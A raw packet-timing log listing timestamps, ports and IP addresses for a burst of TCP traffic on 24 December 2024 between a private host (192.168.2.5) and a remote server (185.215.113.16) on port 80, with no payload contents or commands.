Dec 24, 2024 12:39:30.550631046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.551676035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.551789045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.551902056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.552911043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.553040981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.553118944 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.553909063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.554027081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.554084063 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.554938078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.555054903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.555103064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.556094885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.556225061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.556277990 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.557303905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.557311058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.557367086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.558401108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.558526993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.559232950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.559521914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.559643984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.559698105 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.560699940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.560805082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.560940027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.561897039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.561983109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.562041998 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.562988997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.563066959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.563117981 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.563986063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.564033985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.564953089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.565308094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.565393925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.565484047 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.566263914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.566380978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.566447020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.567430973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.567532063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.567620039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.568548918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.568603039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.568655014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.569623947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.569730997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.570765972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.570873976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.571907043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.572017908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.573018074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.573164940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.573945999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.574187040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.574315071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.575342894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.575412035 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.575429916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.575715065 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.576425076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.576550961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.576613903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.577617884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.577667952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.577728987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.578687906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.579090118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.579140902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.579907894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.580099106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.580140114 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.580960989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.581154108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.581212044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.582127094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.582206011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.582298040 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.583260059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.583404064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.583600998 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.584403992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.584629059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.584696054 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.585489988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.585654020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.585707903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.586612940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.586627960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.586684942 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.587737083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.587786913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.588557959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.588893890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.588941097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.589018106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.590024948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.590154886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.590200901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.591150045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.591362953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.591429949 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.592252970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.592312098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.592360973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.593396902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.593702078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.593764067 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.594554901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.594742060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.594813108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.595680952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.595906973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.596000910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.596920013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.597029924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.597076893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.597973108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.598220110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.598273993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.599067926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.599235058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.599318981 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.600198030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.600483894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.600532055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.601308107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.601701975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.601756096 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.602472067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.602627039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.602674961 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.603565931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.603650093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.603740931 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.604701996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.605022907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.605663061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.605829954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.605905056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.605948925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.606998920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.607166052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.607213020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.608139992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.608526945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.608578920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.609250069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.609312057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.609353065 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.610430956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.610626936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.610685110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.611501932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.611771107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.611813068 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.612746954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.612910986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.613009930 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.613874912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.614044905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.614097118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.614902020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.615150928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.615202904 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.616025925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.616401911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.617125034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.617161989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.617410898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.617501020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.618372917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.618380070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.618436098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.619416952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.620096922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.620150089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.620564938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.620954037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.621038914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.621716022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.621774912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.621834040 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.622865915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.622879982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.622926950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.623967886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.624623060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.624665976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.625077009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.625370979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.625421047 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.626415014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.626477957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.626528978 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.627362013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.627592087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.627659082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.628479004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.628961086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.629005909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.629621983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.629920959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.630822897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.630830050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.630883932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.631877899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.632867098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.632919073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.633044004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.633765936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.633815050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.634156942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.676126003 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.723902941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.724275112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.724280119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.724339962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.724406004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.724952936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.725014925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.725090027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.725197077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.725639105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.725810051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.725909948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.726322889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.726542950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.726584911 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.727046967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.727118015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.727241039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.727731943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.727879047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.727969885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.728413105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.728657961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.728771925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.729180098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.729849100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.729856014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.729913950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.729938030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.729979038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.730525970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.730606079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.731231928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.731311083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.731316090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.731453896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.731937885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.732124090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.732177019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.732670069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.732974052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.733023882 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.733319998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.733417988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.733474970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.734010935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.734308004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.734365940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.734719992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.735213995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.735280991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.735409021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.735677958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.735728979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.736095905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.736217976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.736331940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.736783028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.736834049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.736965895 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.737500906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.737781048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.737823009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.738456964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.738653898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.738888025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.739059925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.739233971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.739279032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.739634037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.739836931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.739875078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.740380049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.740525007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.740567923 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.741030931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.741127014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.741173029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.741729021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.742022991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.742142916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.742371082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.742475033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.742522001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.743072987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.743091106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.743175030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.743767023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.743988991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.744048119 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.744462013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.744594097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.744652033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.745166063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.745558977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.745667934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.745793104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.745839119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.745908022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.746495008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.746689081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.746742964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.747163057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.747654915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.747714043 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.747842073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.748322964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.748528957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.748594046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.748605967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.749136925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.749207973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.749284029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.749636889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.749814987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.749820948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.749869108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.750464916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.750525951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.750601053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.751122952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.751238108 CET	80	49727	185.215.113.16	192.168.2.5
